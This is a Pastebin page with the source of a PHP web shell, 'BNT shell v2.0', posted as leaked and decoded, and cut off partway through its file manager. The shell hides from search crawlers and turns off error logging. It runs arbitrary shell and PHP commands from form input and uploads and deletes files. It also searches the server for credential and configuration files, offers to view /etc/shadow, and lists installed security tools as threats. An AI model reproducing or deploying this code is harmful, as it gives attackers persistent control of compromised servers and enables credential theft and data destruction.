HBH

leaked and decoded BNT shell :-P

HBH
Apr 12th, 2013
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 68.67 KB | None | 0 0
  1. leaked and decoded BNT shell :-P
  2. <?php
  3.  
  4. $auth_pass = "pass removed by HBH fucked bnt";
  5. $color = "black";
  6. $default_action = 'FilesMan';
  7. $default_use_ajax = true;
  8. $default_charset = 'Windows-1251';
  9.  
  10. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  11.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  12.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  13.         header('HTTP/1.0 404 Not Found');
  14.         exit;
  15.     }
  16. }
  17.  
  18. @session_start();
  19. @ini_set('error_log',NULL);
  20. @ini_set('log_errors',0);
  21. @ini_set('max_execution_time',0);
  22. @set_time_limit(0);
  23. @set_magic_quotes_runtime(0);
  24. @define('BNTF_VERSION', 'v2.0');
  25.  
  26. if(get_magic_quotes_gpc()) {
  27.     function BNTFstripslashes($array) {
  28.         return is_array($array) ? array_map('BNTFstripslashes', $array) : stripslashes($array);
  29.     }
  30.     $_POST = BNTFstripslashes($_POST);
  31. }
  32.  
  33. function BNTFLogin() {
  34.     die("
  35. <html><head>
  36. <title>bnt shell v2.0</title>
  37. <link rel='shortcut icon' type='image/x-icon' href='http://forum.blacknewbieteam.org/bnt/BNT_FLAG.gif'>
  38. <head>
  39. <style type='text/css'>
  40. body {
  41.     background-color: #000000;
  42.     font-size: 18px;
  43.     color: #cccccc;
  44. }
  45. input,textarea,select{
  46. font-weight: bold;
  47. color: #f60;
  48. dashed #ffffff;
  49. border: 1px
  50. solid #2C2C2C;
  51. background-color: #333;
  52. }
  53. </style>
  54. </head>
  55. <body>
  56. <center>
  57.     <font color='#f60'><br /><b>Black Newbie team Shell V2.0</b><br /><br />
  58.     <img src=http://forum.blacknewbieteam.org/bnt/BNT_FLAG.gif><br />
  59.     <form method=post>Password : <input type=password name=pass></form></pre></font>
  60. </center></body>
  61. </html>");
  62. }
  63.  
  64.  
  65.  
  66. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  67.     if( empty ($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  68.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  69.     else
  70.         BNTFLogin();
  71.  
  72. if(strtolower(substr(PHP_OS,0,3)) == "win")
  73.     $os = 'win';
  74. else
  75.     $os = 'nix';
  76.  
  77. $safe_mode = @ini_get('safe_mode');
  78. if(!$safe_mode)
  79.     error_reporting(0);
  80.  
  81. $disable_functions = @ini_get('disable_functions');
  82. $home_cwd = @getcwd();
  83. if(isset($_POST['c']))
  84.     @chdir($_POST['c']);
  85. $cwd = @getcwd();
  86. if($os == 'win') {
  87.     $home_cwd = str_replace("\\", "/", $home_cwd);
  88.     $cwd = str_replace("\\", "/", $cwd);
  89. }
  90. if( $cwd[strlen($cwd)-1] != '/' )
  91.     $cwd .= '/';
  92.  
  93. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  94.     $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  95.  
  96. if($os == 'win')
  97.     $aliases = array(
  98.         "List Directory" => "dir",
  99.         "Find index.php in current dir" => "dir /s /w /b index.php",
  100.         "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  101.         "Show active connections" => "netstat -an",
  102.         "Show running services" => "net start",
  103.         "User accounts" => "net user",
  104.         "Show computers" => "net view",
  105.         "ARP Table" => "arp -a",
  106.         "IP Configuration" => "ipconfig /all"
  107.     );
  108. else
  109.     $aliases = array(
  110.         "List dir" => "ls -lha",
  111.         "list file attributes on a Linux second extended file system" => "lsattr -va",
  112.         "show opened ports" => "netstat -an | grep -i listen",
  113.         "process status" => "ps aux",
  114.         "Find" => "",
  115.         "find all suid files" => "find / -type f -perm -04000 -ls",
  116.         "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  117.         "find all sgid files" => "find / -type f -perm -02000 -ls",
  118.         "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  119.         "find config.inc.php files" => "find / -type f -name config.inc.php",
  120.         "find config* files" => "find / -type f -name \"config*\"",
  121.         "find config* files in current dir" => "find . -type f -name \"config*\"",
  122.         "find all writable folders and files" => "find / -perm -2 -ls",
  123.         "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  124.         "find all service.pwd files" => "find / -type f -name service.pwd",
  125.         "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  126.         "find all .htpasswd files" => "find / -type f -name .htpasswd",
  127.         "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  128.         "find all .bash_history files" => "find / -type f -name .bash_history",
  129.         "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  130.         "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  131.         "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  132.         "Locate" => "",
  133.         "locate httpd.conf files" => "locate httpd.conf",
  134.         "locate vhosts.conf files" => "locate vhosts.conf",
  135.         "locate proftpd.conf files" => "locate proftpd.conf",
  136.         "locate psybnc.conf files" => "locate psybnc.conf",
  137.         "locate my.conf files" => "locate my.conf",
  138.         "locate admin.php files" =>"locate admin.php",
  139.         "locate cfg.php files" => "locate cfg.php",
  140.         "locate conf.php files" => "locate conf.php",
  141.         "locate config.dat files" => "locate config.dat",
  142.         "locate config.php files" => "locate config.php",
  143.         "locate config.inc files" => "locate config.inc",
  144.         "locate config.inc.php" => "locate config.inc.php",
  145.         "locate config.default.php files" => "locate config.default.php",
  146.         "locate config* files " => "locate config",
  147.         "locate .conf files"=>"locate '.conf'",
  148.         "locate .pwd files" => "locate '.pwd'",
  149.         "locate .sql files" => "locate '.sql'",
  150.         "locate .htpasswd files" => "locate '.htpasswd'",
  151.         "locate .bash_history files" => "locate '.bash_history'",
  152.         "locate .mysql_history files" => "locate '.mysql_history'",
  153.         "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  154.         "locate backup files" => "locate backup",
  155.         "locate dump files" => "locate dump",
  156.         "locate priv files" => "locate priv"
  157.     );
  158.  
  159. function BNTFHeader() {
  160.     if(empty($_POST['charset']))
  161.         $_POST['charset'] = $GLOBALS['default_charset'];
  162.     global $color;
  163.     echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>bnt shell - " . BNTF_VERSION ." " . $_SERVER['HTTP_HOST'] . "</title>
  164. <style type='text/css'>
  165.       bnt       { display:none; }
  166.       body          { background:#0F0E0E; }
  167.       span,h1{ color: #ccc !important; }
  168.       a{ color: #fff !important; }
  169.       a:link     {COLOR: green; TEXT-DECORATION: none }
  170.       a:visited     {COLOR: #2BA8EC; TEXT-DECORATION: none }
  171.       a:hover       {text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; color: #ff9900; TEXT-DECORATION: none }
  172.       a:active      {color: Red; TEXT-DECORATION: none }
  173.       div.content{ padding: 7px;margin-left:7px;background-color:#0F0E0E; }
  174.       textarea      {BORDER-RIGHT:  #3e3e3e 1px solid; BORDER-TOP:    #3e3e3e 1px solid; BORDER-LEFT:   #3e3e3e 1px solid; BORDER-BOTTOM: #3e3e3e 1px solid; BACKGROUND-COLOR: #1b1b1b; font: Fixedsys bold; color: #aaa; }
  175.       *         { font-size:11px; font-family:Tahoma,Verdana,Arial; color:#444; }
  176.       #menu         { background:#111111; margin:2px 2px 2px 2px; }
  177.       #menu a           { padding:4px 18px; margin:0; background:#222222; text-decoration:none; letter-spacing:2px; }
  178.       #menu a:hover     { background:#744F4F; border-bottom:1px solid #333333; border-top:1px solid #333333; }
  179.       .tabnet           { margin:15px auto 0 auto; border: 1px solid #333333; }
  180.       .main             { width:100%; }
  181.       .gaya             { color: #4C83AF; }
  182.       .your_ip      { color: #FF4719; }
  183.       input     { background:#111111; color:#666666; margin:0 4px; border:1px solid #444444; }
  184.       input:hover   { border:1px color:#D4CECE; }
  185.       .output       { margin:auto; border:1px solid #FF0000; width:100%; height:400px; background:#000000; padding:0 2px; }
  186.       .cmdbox           { width:100%; }
  187.       .head_info        { padding: 0 4px; }
  188.       .b1           { font-size:30px; padding:0; color:#FF0000; }
  189.       .b2           { font-size:30px; padding:0; color: #FF9966; }
  190.       .b_tbl            { text-align:center; margin:0 4px 0 0; padding:0 4px 0 0; border-right:1px solid #333333; }
  191.       .phpinfo table        { width:100%; padding:0 0 0 0; border:1px solid #333333;}
  192.       .phpinfo td       { background:#111111; color:#cccccc; }
  193.       .phpinfo th, th       { background:#191919; border-bottom:1px solid #333333; font-weight:normal; }
  194.       .phpinfo h2,
  195.       .phpinfo h2 a     { text-align:center; font-size:16px; padding:0; margin:30px 0 0 0; background:#222222; padding:4px 0; }
  196.       td        { border-bottom:1px solid #030; padding:0 8px; line-height:24px; }
  197.       th,tr     { padding:3px 8px; font-weight:normal; font-color: #0F0E0E; }
  198.       th:hover,
  199.       .phpinfo th:hover { border-bottom:1px solid #030; }
  200.       tr:hover  { background:#333; }
  201.       .bigarea{ width:100%;height:250px; }
  202.     </style>
  203. <script>
  204.     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  205.     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  206.     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  207.     var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  208.     var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  209.     var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  210.     var d = document;
  211.     function set(a,c,p1,p2,p3,charset) {
  212.         if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  213.         if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  214.         if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  215.         if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  216.         if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  217.         if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  218.     }
  219.     function g(a,c,p1,p2,p3,charset) {
  220.         set(a,c,p1,p2,p3,charset);
  221.         d.mf.submit();
  222.     }
  223.     function a(a,c,p1,p2,p3,charset) {
  224.         set(a,c,p1,p2,p3,charset);
  225.         var params = 'ajax=true';
  226.         for(i=0;i<d.mf.elements.length;i++)
  227.             params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  228.         sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  229.     }
  230.     function sr(url, params) {
  231.         if (window.XMLHttpRequest)
  232.             req = new XMLHttpRequest();
  233.         else if (window.ActiveXObject)
  234.             req = new ActiveXObject('Microsoft.XMLHTTP');
  235.         if (req) {
  236.             req.onreadystatechange = processReqChange;
  237.             req.open('POST', url, true);
  238.             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  239.             req.send(params);
  240.         }
  241.     }
  242.     function processReqChange() {
  243.         if( (req.readyState == 4) )
  244.             if(req.status == 200) {
  245.                 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  246.                 var arr=reg.exec(req.responseText);
  247.                 eval(arr[2].substr(0, arr[1]));
  248.             } else alert('Request error!');
  249.     }
  250. </script>
  251. <head>
  252. <body>
  253. <div style='position:absolute;width:100%;background-color:#444;top:5;left:0;'>
  254. <form method=post name=mf style='display:none;'>
  255. <input type=hidden name=a>
  256. <input type=hidden name=c>
  257. <input type=hidden name=p1>
  258. <input type=hidden name=p2>
  259. <input type=hidden name=p3>
  260. <input type=hidden name=charset>
  261. </form>";
  262.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  263.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  264.     $totalSpace = $totalSpace?$totalSpace:1;
  265.     $release = @php_uname('r');
  266.     $kernel = @php_uname('s');
  267.     $explink = 'http://exploit-db.com/list.php?description=';
  268.     if(strpos('Linux ', $kernel) !== false)
  269.         $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  270.     else
  271.         $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  272.     if(!function_exists('posix_getegid')) {
  273.         $user = @get_current_user();
  274.         $uid = @getmyuid();
  275.         $gid = @getmygid();
  276.         $group = "?";
  277.     } else {
  278.         $uid = @posix_getpwuid(posix_geteuid());
  279.         $gid = @posix_getgrgid(posix_getegid());
  280.         $user = $uid['name'];
  281.         $uid = $uid['uid'];
  282.         $group = $gid['name'];
  283.         $gid = $gid['gid'];
  284.     }
  285.  
  286.     $cwd_links = '';
  287.     $path = explode("/", $GLOBALS['cwd']);
  288.     $n=count($path);
  289.     for($i=0; $i<$n-1; $i++) {
  290.         $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  291.         for($j=0; $j<=$i; $j++)
  292.             $cwd_links .= $path[$j].'/';
  293.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  294.     }
  295.  
  296.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  297.     $opt_charsets = '';
  298.     foreach($charsets as $item)
  299.         $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  300.  
  301.     $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Pwd. Changer'=>'PwdChanger','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  302.     $m['About'] = 'About';
  303.     if(!empty($GLOBALS['auth_pass']))
  304.         $m['Logout'] = 'Logout';
  305.  
  306.     $menu = '';
  307.     foreach($m as $k => $v)
  308.         $menu .= '<th width="'.(int)(100/count($m)).'%"> [ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ] </th>';
  309.    
  310.     $bnt = array('vBulletin'=>'vBulletin','MyBB'=>'MyBB','phpBB'=>'phpBB','SMF'=>'SMF','WHMCS'=>'WHMCS','Wordpress'=>'Wordpress','Joomla'=>'Joomla','PHP-NUKE'=>'PHPNUKE','Traidnt UP'=>'TraidntUP','Mailer'=>'Mailer','Proxy'=>'Proxy');
  311.     $bnt['Self remove'] = 'SelfRemove';
  312.     $menubnt = '';
  313.     foreach($bnt as $l => $n)
  314.         $menubnt .= '<th width="'.(int)(100/count($bnt)).'%"> [ <a href="#" onclick="g(\''.$n.'\',null,\'\',\'\',\'\')">'.$l.'</a> ] </th>';
  315.  
  316.     $drives = "";
  317.     if($GLOBALS['os'] == 'win') {
  318.         foreach(range('c','z') as $drive)
  319.         if(is_dir($drive.':\\'))
  320.             $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  321.     }
  322.     echo '<table class=phpinfo cellpadding=3 cellspacing=0 width=100%><tr>
  323.     <td><img src=http://newbielasax.com/wp-content/uploads/2012/10/tes.png width=200px heigth=100px></td><td>
  324.     <span>Uname :<br>
  325.     User :<br>
  326.     Php :<br>
  327.     Hdd :<br>
  328.     Server IP :<br />
  329.     Cwd :' . ($GLOBALS['os'] == 'win'?'<br>
  330.     Drives :':'') . '</span></td>'
  331.        . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>
  332.        ' . $uid . ' ( ' . $user . ' ) <span>Group :</span> ' . $gid . ' ( ' . $group . ' )<br>
  333.        ' . @phpversion() . ' <span>Safe mode :</span> ' . ($GLOBALS['safe_mode']?'<font color=black>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
  334.        . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime :</span> ' . date('Y-m-d H:i:s') . '<br>
  335.        ' . BNTFViewSize($totalSpace) . ' <span>Free :</span> ' . BNTFViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>
  336.        ' . @$_SERVER["SERVER_ADDR"] . '<span></nobr>&nbsp;&nbsp;&nbsp;&nbsp; Client IP :</span>' . $_SERVER['REMOTE_ADDR'] . '<br>
  337.        ' . $cwd_links . ' '. BNTFPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>
  338.        ' . $drives . '</td>'
  339.        . '</tr></table>'
  340.        . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table>
  341.     <div style="position:right;width:100%;background-color:#444;top:5;left:0;">';
  342. }
  343.  
  344. function BNTFFooter() {
  345.     $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=black>(Not writable)</font>";
  346.     echo "
  347. </div>
  348.  
  349. <table class=phpinfo id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  350.  
  351.     <tr>
  352.         <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  353.         <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input type=text name=f><input type=submit value='>>'></form></td>
  354.    
  355.         <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input type=text name=d><input type=submit value='>>'></form></td>
  356.         <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input  type=text name=f><input type=submit value='>>'></form></td>
  357.    
  358.         <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input  type=text name=c value=''><input type=submit value='>>'></form></td>
  359.         <td><form method='post' ENCTYPE='multipart/form-data'>
  360.         <input type=hidden name=a value='FilesMAn'>
  361.         <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  362.         <input type=hidden name=p1 value='uploadFile'>
  363.         <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  364.         <span>Upload file:</span>$is_writable<br><input type=file name=f><input type=submit value='>>'></form><br  ></td>
  365.     </tr>
  366.     <table class=phpinfo id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  367.     <tr>
  368.     <td>
  369.     <center><strong>&copy; 2012 BLACK NEWBIE TEAM</strong><br />
  370.     </td>
  371.     </tr>
  372.     </table>
  373.     </table></div></body></html>";
  374. }
  375.  
  376. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  377.     function posix_getpwuid($p) {return false;} }
  378. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  379.     function posix_getgrgid($p) {return false;} }
  380.  
  381. function BNT($in) {
  382.     $out = '';
  383.     if (function_exists('exec')) {
  384.         @exec($in,$out);
  385.         $out = @join("\n",$out);
  386.     } elseif (function_exists('passthru')) {
  387.         ob_start();
  388.         @passthru($in);
  389.         $out = ob_get_clean();
  390.     } elseif (function_exists('system')) {
  391.         ob_start();
  392.         @system($in);
  393.         $out = ob_get_clean();
  394.     } elseif (function_exists('shell_exec')) {
  395.         $out = shell_exec($in);
  396.     } elseif (is_resource($f = @popen($in,"r"))) {
  397.         $out = "";
  398.         while(!@feof($f))
  399.             $out .= fread($f,1024);
  400.         pclose($f);
  401.     }
  402.     return $out;
  403. }
  404. function BNTFViewSize($s) {
  405.     if($s >= 1073741824)
  406.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  407.     elseif($s >= 1048576)
  408.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  409.     elseif($s >= 1024)
  410.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  411.     else
  412.         return $s . ' B';
  413. }
  414.  
  415. function BNTFPerms($p) {
  416.     if (($p & 0xC000) == 0xC000)$i = 's';
  417.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  418.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  419.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  420.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  421.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  422.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  423.     else $i = 'u';
  424.     $i .= (($p & 0x0100) ? 'r' : '-');
  425.     $i .= (($p & 0x0080) ? 'w' : '-');
  426.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  427.     $i .= (($p & 0x0020) ? 'r' : '-');
  428.     $i .= (($p & 0x0010) ? 'w' : '-');
  429.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'SS' : '-'));
  430.     $i .= (($p & 0x0004) ? 'r' : '-');
  431.     $i .= (($p & 0x0002) ? 'w' : '-');
  432.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  433.     return $i;
  434. }
  435.  
  436. function BNTFPermsColor($f) {
  437.     if (!@is_readable($f))
  438.         return '<font color=#FF0000>' . BNTFPerms(@fileperms($f)) . '</font>';
  439.     elseif (!@is_writable($f))
  440.         return '<font color=white>' . BNTFPerms(@fileperms($f)) . '</font>';
  441.     else
  442.         return '<font color=#25ff00>' . BNTFPerms(@fileperms($f)) . '</font>';
  443. }
  444.  
  445. if(!function_exists("scandir")) {
  446.     function scandir($dir) {
  447.         $dh  = opendir($dir);
  448.         while (false !== ($filename = readdir($dh)))
  449.             $files[] = $filename;
  450.         return $files;
  451.     }
  452. }
  453.  
  454. function BNTFWhich($p) {
  455.     $path = BNT('which ' . $p);
  456.     if(!empty($path))
  457.         return $path;
  458.     return false;
  459. }
  460.  
  461. function actionSecInfo() {
  462.     BNTFHeader();
  463.     echo '<div class=content><h1>Server security information</h1>';
  464.     function BNTFSecParam($n, $v) {
  465.         $v = trim($v);
  466.         if($v) {
  467.             echo '<span>' . $n . ': </span>';
  468.             if(strpos($v, "\n") === false)
  469.                 echo $v . '<br>';
  470.             else
  471.                 echo '<pre class=ml1>' . $v . '</pre>';
  472.         }
  473.     }
  474.  
  475.     BNTFSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  476.     if(function_exists('apache_get_modules'))
  477.         BNTFSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  478.     BNTFSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  479.     BNTFSecParam('Open base dir', @ini_get('open_basedir'));
  480.     BNTFSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  481.     BNTFSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  482.     BNTFSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  483.     $temp=array();
  484.     if(function_exists('mysql_get_client_info'))
  485.         $temp[] = "MySql (".mysql_get_client_info().")";
  486.     if(function_exists('mssql_connect'))
  487.         $temp[] = "MSSQL";
  488.     if(function_exists('pg_connect'))
  489.         $temp[] = "PostgreSQL";
  490.     if(function_exists('oci_connect'))
  491.         $temp[] = "Oracle";
  492.     BNTFSecParam('Supported databases', implode(', ', $temp));
  493.     echo '<br>';
  494.  
  495.     if($GLOBALS['os'] == 'nix') {
  496.         BNTFSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  497.         BNTFSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  498.         BNTFSecParam('OS version', @file_get_contents('/proc/version'));
  499.         BNTFSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  500.         if(!$GLOBALS['safe_mode']) {
  501.             $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  502.             $danger = array('kav','nod32','bdcoblack','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  503.             $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  504.             echo '<br>';
  505.             $temp=array();
  506.             foreach ($userful as $item)
  507.                 if(BNTFWhich($item))
  508.                     $temp[] = $item;
  509.             BNTFSecParam('Userful', implode(', ',$temp));
  510.             $temp=array();
  511.             foreach ($danger as $item)
  512.                 if(BNTFWhich($item))
  513.                     $temp[] = $item;
  514.             BNTFSecParam('Danger', implode(', ',$temp));
  515.             $temp=array();
  516.             foreach ($downloaders as $item)
  517.                 if(BNTFWhich($item))
  518.                     $temp[] = $item;
  519.             BNTFSecParam('Downloaders', implode(', ',$temp));
  520.             echo '<br/>';
  521.             BNTFSecParam('HDD space', BNT('df -h'));
  522.             BNTFSecParam('Hosts', @file_get_contents('/etc/hosts'));
  523.         }
  524.     } else {
  525.         BNTFSecParam('OS Version',BNT('ver'));
  526.         BNTFSecParam('Account Settings',BNT('net accounts'));
  527.         BNTFSecParam('User Accounts',BNT('net user'));
  528.     }
  529.     echo '</div>';
  530.     BNTFFooter();
  531. }
  532.  
  533. function actionPhp() {
  534.     if(isset($_POST['ajax'])) {
  535.         $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
  536.         ob_start();
  537.         eval($_POST['p1']);
  538.         $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  539.         echo strlen($temp), "\n", $temp;
  540.         exit;
  541.     }
  542.     BNTFHeader();
  543.     if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  544.         echo '<div class=content><h1>PHP info</h1><style>.p {color:#000;}</style>';
  545.         ob_start();
  546.         phpinfo();
  547.         $tmp = ob_get_clean();
  548.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  549.         $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  550.         echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  551.     }
  552.     if(empty($_POST['ajax']) && !empty($_POST['p1']))
  553.         $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  554.     echo '<div class=content><h1>Execution PHP-code</h1><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  555.     echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  556.     if(!empty($_POST['p1'])) {
  557.         ob_start();
  558.         eval($_POST['p1']);
  559.         echo htmlspecialchars(ob_get_clean());
  560.     }
  561.     echo '</pre></div>';
  562.     BNTFFooter();
  563. }
  564.  
  565. function actionFilesMan() {
  566.     BNTFHeader();
  567.     echo '<div class=content><h1>File Manager</h1><hr><script>p1_=p2_=p3_="";</script>';
  568.     if(!empty($_POST['p1'])) {
  569.         switch($_POST['p1']) {
  570.             case 'uploadFile':
  571.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  572.                     echo "Can't upload file!";
  573.                 break;
  574.             case 'mkdir':
  575.                 if(!@mkdir($_POST['p2']))
  576.                     echo "Can't create new dir";
  577.                 break;
  578.             case 'delete':
  579.                 function deleteDir($path) {
  580.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  581.                     $dh  = opendir($path);
  582.                     while ( ($item = readdir($dh) ) !== false) {
  583.                         $item = $path.$item;
  584.                         if ( (basename($item) == "..") || (basename($item) == ".") )
  585.                             continue;
  586.                         $type = filetype($item);
  587.                         if ($type == "dir")
  588.                             deleteDir($item);
  589.                         else
  590.                             @unlink($item);
  591.                     }
  592.                     closedir($dh);
  593.                     @rmdir($path);
  594.                 }
  595.                 if(is_array(@$_POST['f']))
  596.                     foreach($_POST['f'] as $f) {
  597.                         if($f == '..')
  598.                             continue;
  599.                         $f = urldecode($f);
  600.                         if(is_dir($f))
  601.                             deleteDir($f);
  602.                         else
  603.                             @unlink($f);
  604.                     }
  605.                 break;
  606.             case 'paste':
  607.                 if($_SESSION['act'] == 'copy') {
  608.                     function copy_paste($c,$s,$d){
  609.                         if(is_dir($c.$s)){
  610.                             mkdir($d.$s);
  611.                             $h = @opendir($c.$s);
  612.                             while (($f = @readdir($h)) !== false)
  613.                                 if (($f != ".") and ($f != ".."))
  614.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  615.                         } elseif(is_file($c.$s))
  616.                             @copy($c.$s, $d.$s);
